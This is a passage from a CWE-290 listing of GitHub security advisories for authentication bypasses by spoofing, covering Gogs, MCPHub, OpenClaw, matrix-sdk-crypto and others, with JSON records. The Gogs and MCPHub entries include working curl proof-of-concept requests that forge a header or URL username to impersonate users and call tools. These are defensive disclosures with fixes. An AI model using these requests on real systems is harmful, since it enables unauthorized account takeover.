CWE-290
AllowedAuthentication Bypass by Spoofing
Abstraction: Base · Status: Incomplete
This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.
923 vulnerabilities reference this CWE, most recent first.
GHSA-W6J9-VW59-27WV
Vulnerability from github – Published: 2026-06-22 17:09 – Updated: 2026-06-22 17:09Summary
When ENABLE_REVERSE_PROXY_AUTHENTICATION is enabled, Gogs accepts the configured authentication header (default: X-WEBAUTH-USER) directly from client requests without validating that the request originated from a trusted reverse proxy. Any remote attacker who can reach the Gogs service can forge this header to impersonate any user or trigger automatic account creation, completely bypassing authentication.
Root Cause
The vulnerability exists because Gogs reads the authentication header directly from the incoming HTTP request without any verification that the header was set by a trusted reverse proxy.
Vulnerable Code Flow
In internal/context/auth.go lines 206-234:
func authenticatedUser(store AuthStore, ctx *macaron.Context, sess session.Store) (_ *database.User, isBasicAuth, isTokenAuth bool) {
// ... existing auth checks ...
if uid <= 0 {
if conf.Auth.EnableReverseProxyAuthentication {
// Reads header DIRECTLY from client request - NO VALIDATION!
webAuthUser := ctx.Req.Header.Get(conf.Auth.ReverseProxyAuthenticationHeader)
if len(webAuthUser) > 0 {
user, err := store.GetUserByUsername(ctx.Req.Context(), webAuthUser)
if err != nil {
if !database.IsErrUserNotExist(err) {
log.Error("Failed to get user by name: %v", err)
return nil, false, false
}
// Check if enabled auto-registration.
if conf.Auth.EnableReverseProxyAutoRegistration {
// Creates new user with forged username!
user, err = store.CreateUser(
ctx.Req.Context(),
webAuthUser,
gouuid.NewV4().String()+"@localhost",
database.CreateUserOptions{
Activated: true,
},
)
if err != nil {
log.Error("Failed to create user %q: %v", webAuthUser, err)
return nil, false, false
}
}
}
// Returns user as authenticated without any verification!
return user, false, false
}
}
// ... fallback to basic auth ...
}
// ...
}
The code has zero validation that: 1. The request came through a reverse proxy 2. The header was set by the proxy (not the client) 3. Gogs is actually behind a reverse proxy 4. The direct access to Gogs is restricted
The vulnerability occurs when:
- Gogs is publicly accessible (e.g., 0.0.0.0:3000)
- ENABLE_REVERSE_PROXY_AUTHENTICATION = true
Proof of Concept
Prerequisites
Gogs instance with the following configuration in custom/conf/app.ini:
[auth]
ENABLE_REVERSE_PROXY_AUTHENTICATION = true
An attacker can impersonate any user including administrators:
# Become admin instantly
curl http://gogs.example.com/ -H "X-WEBAUTH-USER: <username>"
Recommended Fixes
Add validation to ensure headers come from trusted sources:
func authenticatedUser(store AuthStore, ctx *macaron.Context, sess session.Store) (_ *database.User, isBasicAuth, isTokenAuth bool) {
// ... existing code ...
if uid <= 0 {
if conf.Auth.EnableReverseProxyAuthentication {
// Validate request is from trusted proxy
if !isRequestFromTrustedProxy(ctx.Req) {
log.Warn("Reverse proxy auth header received from untrusted source: %s", ctx.RemoteAddr())
return nil, false, false
}
webAuthUser := ctx.Req.Header.Get(conf.Auth.ReverseProxyAuthenticationHeader)
// ... rest of the code ...
}
}
// ...
}
// New validation function
func isRequestFromTrustedProxy(req *http.Request) bool {
// Check if request is from localhost/trusted IPs
remoteIP := getRemoteIP(req)
// Only accept from localhost by default
if remoteIP.IsLoopback() {
return true
}
// Check against configured trusted proxy IPs
for _, trustedIP := range conf.Auth.TrustedProxyIPs {
if remoteIP.String() == trustedIP {
return true
}
}
return false
}
Add configuration option:
[auth]
ENABLE_REVERSE_PROXY_AUTHENTICATION = false
REVERSE_PROXY_AUTHENTICATION_HEADER = X-WEBAUTH-USER
; Comma-separated list of trusted proxy IPs (default: 127.0.0.1)
TRUSTED_PROXY_IPS = 127.0.0.1,::1
; Whether to require trusted proxy validation (recommended: true)
REQUIRE_TRUSTED_PROXY = true
References
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.14.2"
},
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25119"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-22T17:09:51Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nWhen `ENABLE_REVERSE_PROXY_AUTHENTICATION` is enabled, Gogs accepts the configured authentication header (default: `X-WEBAUTH-USER`) directly from client requests without validating that the request originated from a trusted reverse proxy. Any remote attacker who can reach the Gogs service can forge this header to impersonate any user or trigger automatic account creation, completely bypassing authentication.\n\n## Root Cause\n\nThe vulnerability exists because Gogs reads the authentication header directly from the incoming HTTP request without any verification that the header was set by a trusted reverse proxy.\n\n### Vulnerable Code Flow\n\nIn `internal/context/auth.go` lines 206-234:\n\n```go\nfunc authenticatedUser(store AuthStore, ctx *macaron.Context, sess session.Store) (_ *database.User, isBasicAuth, isTokenAuth bool) {\n // ... existing auth checks ...\n\n if uid \u003c= 0 {\n if conf.Auth.EnableReverseProxyAuthentication {\n // Reads header DIRECTLY from client request - NO VALIDATION!\n webAuthUser := ctx.Req.Header.Get(conf.Auth.ReverseProxyAuthenticationHeader)\n if len(webAuthUser) \u003e 0 {\n user, err := store.GetUserByUsername(ctx.Req.Context(), webAuthUser)\n if err != nil {\n if !database.IsErrUserNotExist(err) {\n log.Error(\"Failed to get user by name: %v\", err)\n return nil, false, false\n }\n\n // Check if enabled auto-registration.\n if conf.Auth.EnableReverseProxyAutoRegistration {\n // Creates new user with forged username!\n user, err = store.CreateUser(\n ctx.Req.Context(),\n webAuthUser,\n gouuid.NewV4().String()+\"@localhost\",\n database.CreateUserOptions{\n Activated: true,\n },\n )\n if err != nil {\n log.Error(\"Failed to create user %q: %v\", webAuthUser, err)\n return nil, false, false\n }\n }\n }\n // Returns user as authenticated without any verification!\n return user, false, false\n }\n }\n // ... fallback to basic auth ...\n }\n // ...\n}\n```\n\nThe code has **zero validation** that:\n1. The request came through a reverse proxy\n2. The header was set by the proxy (not the client)\n3. Gogs is actually behind a reverse proxy\n4. The direct access to Gogs is restricted\n\nThe vulnerability occurs when:\n- Gogs is publicly accessible (e.g., `0.0.0.0:3000`)\n- `ENABLE_REVERSE_PROXY_AUTHENTICATION = true`\n\n## Proof of Concept\n\n### Prerequisites\n\nGogs instance with the following configuration in `custom/conf/app.ini`:\n\n```ini\n[auth]\nENABLE_REVERSE_PROXY_AUTHENTICATION = true\n```\n\nAn attacker can impersonate any user including administrators:\n\n```bash\n# Become admin instantly\ncurl http://gogs.example.com/ -H \"X-WEBAUTH-USER: \u003cusername\u003e\"\n```\n\n\u003cimg width=\"1835\" height=\"1143\" alt=\"impersonation_example\" src=\"https://github.com/user-attachments/assets/bae60772-5eb3-4f54-9fe0-5db01595bd56\" /\u003e\n\n## Recommended Fixes\n\nAdd validation to ensure headers come from trusted sources:\n\n```go\nfunc authenticatedUser(store AuthStore, ctx *macaron.Context, sess session.Store) (_ *database.User, isBasicAuth, isTokenAuth bool) {\n // ... existing code ...\n\n if uid \u003c= 0 {\n if conf.Auth.EnableReverseProxyAuthentication {\n // Validate request is from trusted proxy\n if !isRequestFromTrustedProxy(ctx.Req) {\n log.Warn(\"Reverse proxy auth header received from untrusted source: %s\", ctx.RemoteAddr())\n return nil, false, false\n }\n\n webAuthUser := ctx.Req.Header.Get(conf.Auth.ReverseProxyAuthenticationHeader)\n // ... rest of the code ...\n }\n }\n // ...\n}\n\n// New validation function\nfunc isRequestFromTrustedProxy(req *http.Request) bool {\n // Check if request is from localhost/trusted IPs\n remoteIP := getRemoteIP(req)\n\n // Only accept from localhost by default\n if remoteIP.IsLoopback() {\n return true\n }\n\n // Check against configured trusted proxy IPs\n for _, trustedIP := range conf.Auth.TrustedProxyIPs {\n if remoteIP.String() == trustedIP {\n return true\n }\n }\n\n return false\n}\n```\n\nAdd configuration option:\n\n```ini\n[auth]\nENABLE_REVERSE_PROXY_AUTHENTICATION = false\nREVERSE_PROXY_AUTHENTICATION_HEADER = X-WEBAUTH-USER\n; Comma-separated list of trusted proxy IPs (default: 127.0.0.1)\nTRUSTED_PROXY_IPS = 127.0.0.1,::1\n; Whether to require trusted proxy validation (recommended: true)\nREQUIRE_TRUSTED_PROXY = true\n```\n\n## References\n\n- [CWE-290: Authentication Bypass by Spoofing](https://cwe.mitre.org/data/definitions/290.html)\n- [OWASP: Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP Top 10 2021 - A07: Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)",
"id": "GHSA-w6j9-vw59-27wv",
"modified": "2026-06-22T17:09:51Z",
"published": "2026-06-22T17:09:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-w6j9-vw59-27wv"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/pull/8264"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/0089c4c8e5b8d99eb6e5c8727f8f40d765f1f58a"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Gogs has an Authentication Bypass via Unvalidated Reverse Proxy Headers"
}
GHSA-W7M7-3XCF-MP48
Vulnerability from github – Published: 2026-06-16 21:31 – Updated: 2026-06-18 20:17Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-8c59-hr4w-qg69. This link is maintained to preserve external references.
Original Description
OpenClaw before 2026.5.3 contains a policy enforcement vulnerability where Zalo contacts with mutable display metadata could match allowFrom policy entries through display name changes. Attackers with mutable display names could receive agent responses intended for different Zalo identities when the feature is enabled.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2026.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T20:17:21Z",
"nvd_published_at": "2026-06-16T19:17:03Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-8c59-hr4w-qg69. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw before 2026.5.3 contains a policy enforcement vulnerability where Zalo contacts with mutable display metadata could match allowFrom policy entries through display name changes. Attackers with mutable display names could receive agent responses intended for different Zalo identities when the feature is enabled.",
"id": "GHSA-w7m7-3xcf-mp48",
"modified": "2026-06-18T20:17:21Z",
"published": "2026-06-16T21:31:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-8c59-hr4w-qg69"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53857"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-mutable-display-name-binding-in-zalo-allowfrom-policy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Zalo allowFrom could bind to mutable display names",
"withdrawn": "2026-06-18T20:17:21Z"
}
GHSA-W8C7-VVC9-5284
Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2022-05-13 01:42MetInfo through 5.3.17 accepts the same CAPTCHA response for 120 seconds, which makes it easier for remote attackers to bypass intended challenge requirements by modifying the client-server data stream, as demonstrated by the login/findpass page.
{
"affected": [],
"aliases": [
"CVE-2017-11717"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-28T05:29:00Z",
"severity": "HIGH"
},
"details": "MetInfo through 5.3.17 accepts the same CAPTCHA response for 120 seconds, which makes it easier for remote attackers to bypass intended challenge requirements by modifying the client-server data stream, as demonstrated by the login/findpass page.",
"id": "GHSA-w8c7-vvc9-5284",
"modified": "2022-05-13T01:42:28Z",
"published": "2022-05-13T01:42:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11717"
},
{
"type": "WEB",
"url": "https://lncken.cn/?p=343"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WCC2-HC4J-M2WC
Vulnerability from github – Published: 2022-09-28 00:00 – Updated: 2025-11-04 21:30Layer 2 network filtering capabilities such as IPv6 RA guard can be bypassed using LLC/SNAP headers with invalid length (and optionally VLAN0 headers)
{
"affected": [],
"aliases": [
"CVE-2021-27861"
],
"database_specific": {
"cwe_ids": [
"CWE-130",
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-27T19:15:00Z",
"severity": "MODERATE"
},
"details": "Layer 2 network filtering capabilities such as IPv6 RA guard can be bypassed using LLC/SNAP headers with invalid length (and optionally VLAN0 headers)",
"id": "GHSA-wcc2-hc4j-m2wc",
"modified": "2025-11-04T21:30:27Z",
"published": "2022-09-28T00:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27861"
},
{
"type": "WEB",
"url": "https://blog.champtar.fr/VLAN0_LLC_SNAP"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/draft-ietf-v6ops-ra-guard/08"
},
{
"type": "WEB",
"url": "https://kb.cert.org/vuls/id/855201"
},
{
"type": "WEB",
"url": "https://standards.ieee.org/ieee/802.1Q/10323"
},
{
"type": "WEB",
"url": "https://standards.ieee.org/ieee/802.2/1048"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/855201"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WCPX-2XQG-FF43
Vulnerability from github – Published: 2026-02-24 15:30 – Updated: 2026-02-25 18:31Spoofing issue in the WebAuthn component in Firefox for Android. This vulnerability affects Firefox < 148.
{
"affected": [],
"aliases": [
"CVE-2026-2800"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-24T14:16:28Z",
"severity": "CRITICAL"
},
"details": "Spoofing issue in the WebAuthn component in Firefox for Android. This vulnerability affects Firefox \u003c 148.",
"id": "GHSA-wcpx-2xqg-ff43",
"modified": "2026-02-25T18:31:35Z",
"published": "2026-02-24T15:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2800"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1988145"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-13"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-16"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WF8Q-WVV8-P8JF
Vulnerability from github – Published: 2026-05-14 20:44 – Updated: 2026-05-14 20:44Summary
A critical identity spoofing vulnerability in MCPHub allows any unauthenticated user to impersonate any other user — including administrators — on SSE (Server-Sent Events) and MCP transport endpoints. The server accepts a username from the URL path parameter and creates an internal user session without any database validation, token verification, or authentication check. The source code itself acknowledges this gap with a TODO comment.
Details
MCPHub provides user-scoped SSE endpoints at the path /:user/sse/:group. The sseUserContextMiddleware in src/middlewares/userContext.ts (lines 42–75) extracts the username from req.params.user and constructs a fabricated IUser object directly, bypassing all authentication:
export const sseUserContextMiddleware = async (
req: Request, res: Response, next: NextFunction,
): Promise<void> => {
const userContextService = UserContextService.getInstance();
const username = req.params.user; // ← Taken directly from URL, no validation whatsoever
if (username) {
// Note: In a real implementation, you should validate the user exists
// and has proper permissions
const user: IUser = {
username, // ← Completely attacker-controlled
password: '',
isAdmin: false, // TODO: Should be retrieved from user database
};
userContextService.setCurrentUser(user); // ← Fabricated identity is accepted as real
attachCleanupHandlers();
console.log(`User context set for SSE/MCP endpoint: ${username}`);
next();
}
// ...
};
The SSE routes in src/server.ts (lines 132–161) apply only rate limiting and this context middleware — there is no authentication middleware in the chain:
// User-scoped routes with user context middleware
this.app.get(
`${this.basePath}/:user/sse/:group(.*)?`,
mcpConnectionRateLimiter, // Only rate limiting
sseUserContextMiddleware, // Identity from URL — no auth
(req, res) => handleSseConnection(req, res),
);
Additionally, UserContextService is a singleton that stores the current user in a single instance variable. Under concurrent connections, one user's context can silently overwrite another's, creating a secondary race condition vulnerability (CWE-362).
PoC
Prerequisites: A running MCPHub instance with enableBearerAuth: false (or bearer keys not configured).
Step 1 — Connect to the SSE endpoint as any arbitrary user:
curl -s -N --max-time 3 http://TARGET:3100/CEO-admin-impersonated/sse
Expected response — a valid SSE session is created:
event: endpoint
data: /CEO-admin-impersonated/messages?sessionId=54efc6f5-15ed-4e69-9a0e-de87d3179758
Step 2 — Verify on the server side (server logs):
[INFO] User context set for SSE/MCP endpoint: CEO-admin-impersonated
[INFO] Creating SSE transport with messages path: /CEO-admin-impersonated/messages
[INFO] New SSE connection established: 54efc6f5-15ed-4e69-9a0e-de87d3179758 with group: global for user: CEO-admin-impersonated
The server accepted a completely non-existent user, created a full MCP session, and is ready to proxy tool calls under this fabricated identity. No database lookup was performed, no token was validated.
Step 3 — Execute MCP tool calls under the spoofed identity:
Once the SSE session is established, the attacker can send MCP messages to the returned endpoint path, executing tools under the spoofed user's context:
curl -X POST http://TARGET:3100/CEO-admin-impersonated/messages?sessionId=54efc6f5-15ed-4e69-9a0e-de87d3179758 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"any-tool","arguments":{}}}'
Impact
This is a user identity spoofing vulnerability on the MCP transport layer. Any unauthenticated network user can:
- Impersonate any user, including administrators, on SSE/MCP endpoints
- Execute MCP tool calls under a spoofed user's identity, potentially accessing user-scoped resources and data
- Poison audit logs — all actions are recorded under the fabricated username, destroying accountability and forensic value
- Access user-scoped servers and groups that should only be available to authenticated users
All MCPHub instances exposing SSE endpoints without bearer authentication are affected. This includes the default configuration when bearer keys are not explicitly set up.
Reported by the Eresus Security Research Team.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@samanhappy/mcphub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.12.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:44:22Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nA critical identity spoofing vulnerability in MCPHub allows any unauthenticated user to impersonate any other user \u2014 including administrators \u2014 on SSE (Server-Sent Events) and MCP transport endpoints. The server accepts a username from the URL path parameter and creates an internal user session without any database validation, token verification, or authentication check. The source code itself acknowledges this gap with a TODO comment.\n\n### Details\n\nMCPHub provides user-scoped SSE endpoints at the path `/:user/sse/:group`. The `sseUserContextMiddleware` in `src/middlewares/userContext.ts` (lines 42\u201375) extracts the username from `req.params.user` and constructs a fabricated `IUser` object directly, bypassing all authentication:\n\n```typescript\nexport const sseUserContextMiddleware = async (\n req: Request, res: Response, next: NextFunction,\n): Promise\u003cvoid\u003e =\u003e {\n const userContextService = UserContextService.getInstance();\n const username = req.params.user; // \u2190 Taken directly from URL, no validation whatsoever\n\n if (username) {\n // Note: In a real implementation, you should validate the user exists\n // and has proper permissions\n const user: IUser = {\n username, // \u2190 Completely attacker-controlled\n password: \u0027\u0027,\n isAdmin: false, // TODO: Should be retrieved from user database\n };\n\n userContextService.setCurrentUser(user); // \u2190 Fabricated identity is accepted as real\n attachCleanupHandlers();\n console.log(`User context set for SSE/MCP endpoint: ${username}`);\n next();\n }\n // ...\n};\n```\n\nThe SSE routes in `src/server.ts` (lines 132\u2013161) apply only rate limiting and this context middleware \u2014 there is no authentication middleware in the chain:\n\n```typescript\n// User-scoped routes with user context middleware\nthis.app.get(\n `${this.basePath}/:user/sse/:group(.*)?`,\n mcpConnectionRateLimiter, // Only rate limiting\n sseUserContextMiddleware, // Identity from URL \u2014 no auth\n (req, res) =\u003e handleSseConnection(req, res),\n);\n```\n\nAdditionally, `UserContextService` is a **singleton** that stores the current user in a single instance variable. Under concurrent connections, one user\u0027s context can silently overwrite another\u0027s, creating a secondary race condition vulnerability (CWE-362).\n\n### PoC\n\n**Prerequisites:** A running MCPHub instance with `enableBearerAuth: false` (or bearer keys not configured).\n\n**Step 1 \u2014 Connect to the SSE endpoint as any arbitrary user:**\n```bash\ncurl -s -N --max-time 3 http://TARGET:3100/CEO-admin-impersonated/sse\n```\n\nExpected response \u2014 a valid SSE session is created:\n```\nevent: endpoint\ndata: /CEO-admin-impersonated/messages?sessionId=54efc6f5-15ed-4e69-9a0e-de87d3179758\n```\n\n**Step 2 \u2014 Verify on the server side (server logs):**\n```\n[INFO] User context set for SSE/MCP endpoint: CEO-admin-impersonated\n[INFO] Creating SSE transport with messages path: /CEO-admin-impersonated/messages\n[INFO] New SSE connection established: 54efc6f5-15ed-4e69-9a0e-de87d3179758 with group: global for user: CEO-admin-impersonated\n```\n\nThe server accepted a completely non-existent user, created a full MCP session, and is ready to proxy tool calls under this fabricated identity. No database lookup was performed, no token was validated.\n\n**Step 3 \u2014 Execute MCP tool calls under the spoofed identity:**\n\nOnce the SSE session is established, the attacker can send MCP messages to the returned endpoint path, executing tools under the spoofed user\u0027s context:\n```bash\ncurl -X POST http://TARGET:3100/CEO-admin-impersonated/messages?sessionId=54efc6f5-15ed-4e69-9a0e-de87d3179758 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"any-tool\",\"arguments\":{}}}\u0027\n```\n\n### Impact\n\nThis is a **user identity spoofing** vulnerability on the MCP transport layer. Any unauthenticated network user can:\n\n- **Impersonate any user**, including administrators, on SSE/MCP endpoints\n- **Execute MCP tool calls** under a spoofed user\u0027s identity, potentially accessing user-scoped resources and data\n- **Poison audit logs** \u2014 all actions are recorded under the fabricated username, destroying accountability and forensic value\n- **Access user-scoped servers and groups** that should only be available to authenticated users\n\nAll MCPHub instances exposing SSE endpoints without bearer authentication are affected. This includes the default configuration when bearer keys are not explicitly set up.\n\nReported by the Eresus Security Research Team.",
"id": "GHSA-wf8q-wvv8-p8jf",
"modified": "2026-05-14T20:44:22Z",
"published": "2026-05-14T20:44:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/samanhappy/mcphub/security/advisories/GHSA-wf8q-wvv8-p8jf"
},
{
"type": "PACKAGE",
"url": "https://github.com/samanhappy/mcphub"
},
{
"type": "WEB",
"url": "https://github.com/samanhappy/mcphub/releases/tag/v0.12.15"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "@samanhappy/mcphub: SSE Endpoint Accepts Arbitrary Username from URL Path Without Authentication, Enabling User Impersonation"
}
GHSA-WFFJ-85J3-X844
Vulnerability from github – Published: 2025-09-03 15:30 – Updated: 2025-09-08 18:31The SourceCodester Android application "Corona Virus Tracker App India" 1.0 uses MD5 for digest authentication in OkHttpClientWrapper.java. The handleDigest() function employs MessageDigest.getInstance("MD5") to hash credentials. MD5 is a broken cryptographic algorithm known to allow hash collisions. This makes the authentication mechanism vulnerable to replay, spoofing, or brute-force attacks, potentially leading to unauthorized access. The vulnerability corresponds to CWE-327 and aligns with OWASP M5: Insufficient Cryptography and MASVS MSTG-CRYPTO-4.
{
"affected": [],
"aliases": [
"CVE-2025-56608"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-03T15:15:37Z",
"severity": "MODERATE"
},
"details": "The SourceCodester Android application \"Corona Virus Tracker App India\" 1.0 uses MD5 for digest authentication in `OkHttpClientWrapper.java`. The `handleDigest()` function employs `MessageDigest.getInstance(\"MD5\")` to hash credentials. MD5 is a broken cryptographic algorithm known to allow hash collisions. This makes the authentication mechanism vulnerable to replay, spoofing, or brute-force attacks, potentially leading to unauthorized access. The vulnerability corresponds to CWE-327 and aligns with OWASP M5: Insufficient Cryptography and MASVS MSTG-CRYPTO-4.",
"id": "GHSA-wffj-85j3-x844",
"modified": "2025-09-08T18:31:30Z",
"published": "2025-09-03T15:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-56608"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/owasp-mstg/blob/master/Document/0x04g-Testing-Cryptography.md#identifying-insecure-andor-deprecated-cryptographic-algorithms-mstg-crypto-4"
},
{
"type": "WEB",
"url": "https://github.com/anonaninda/Aninda-security-advisories/blob/main/CVE-2025-56608.md"
},
{
"type": "WEB",
"url": "https://www.sourcecodester.com/android/14292/android-corona-virus-tracker-app-india-using-b4a.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WFQ4-36M3-9G42
Vulnerability from github – Published: 2026-06-04 14:47 – Updated: 2026-06-04 14:47Impact
The matrix-sdk-crypto crate before 0.16.1 is missing a check for the sender's user ID when decrypting an Olm-encrypted to-device message containing the sender_device_keys property.
This could be exploited to spoof the sender of an encrypted to-device message, but only if the attacker colludes with (or is) the homeserver operator.
Patches
This issue is fixed in matrix-sdk-crypto 0.16.1.
Workarounds
There are no known workarounds for the issue.
References
This issue was fixed in https://github.com/matrix-org/matrix-rust-sdk/pull/6553.
For more information
If you have any questions or comments about this advisory, please email us at security at matrix.org.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "matrix-sdk-crypto"
},
"ranges": [
{
"events": [
{
"introduced": "0.12.0"
},
{
"fixed": "0.16.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45056"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-04T14:47:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nThe `matrix-sdk-crypto` crate before 0.16.1 is missing a check for the sender\u0027s user ID when decrypting an Olm-encrypted to-device message containing the `sender_device_keys` property.\n\nThis could be exploited to spoof the sender of an encrypted to-device message, but only if the attacker colludes with (or is) the homeserver operator.\n\n### Patches\n\nThis issue is fixed in `matrix-sdk-crypto` 0.16.1.\n\n### Workarounds\n\nThere are no known workarounds for the issue.\n\n### References\n\nThis issue was fixed in https://github.com/matrix-org/matrix-rust-sdk/pull/6553.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please email us at [security at matrix.org](mailto:security@matrix.org).",
"id": "GHSA-wfq4-36m3-9g42",
"modified": "2026-06-04T14:47:05Z",
"published": "2026-06-04T14:47:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/matrix-org/matrix-rust-sdk/security/advisories/GHSA-wfq4-36m3-9g42"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/matrix-rust-sdk/pull/6553"
},
{
"type": "PACKAGE",
"url": "https://github.com/matrix-org/matrix-rust-sdk"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/matrix-rust-sdk/releases/tag/matrix-sdk-0.16.1"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0159.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Matrix Rust SDK: Sender-binding gaps in to-device and room-key attribution"
}
GHSA-WG27-V6FH-MH3J
Vulnerability from github – Published: 2023-06-07 18:30 – Updated: 2024-04-04 04:39An issue has been discovered in GitLab CE/EE affecting all versions before 15.10.8, all versions starting from 15.11 before 15.11.7, all versions starting from 16.0 before 16.0.2. An attacker was able to spoof protected tags, which could potentially lead a victim to download malicious code.
{
"affected": [],
"aliases": [
"CVE-2023-2001"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-07T17:15:09Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab CE/EE affecting all versions before 15.10.8, all versions starting from 15.11 before 15.11.7, all versions starting from 16.0 before 16.0.2. An attacker was able to spoof protected tags, which could potentially lead a victim to download malicious code.",
"id": "GHSA-wg27-v6fh-mh3j",
"modified": "2024-04-04T04:39:33Z",
"published": "2023-06-07T18:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2001"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1908423"
},
{
"type": "WEB",
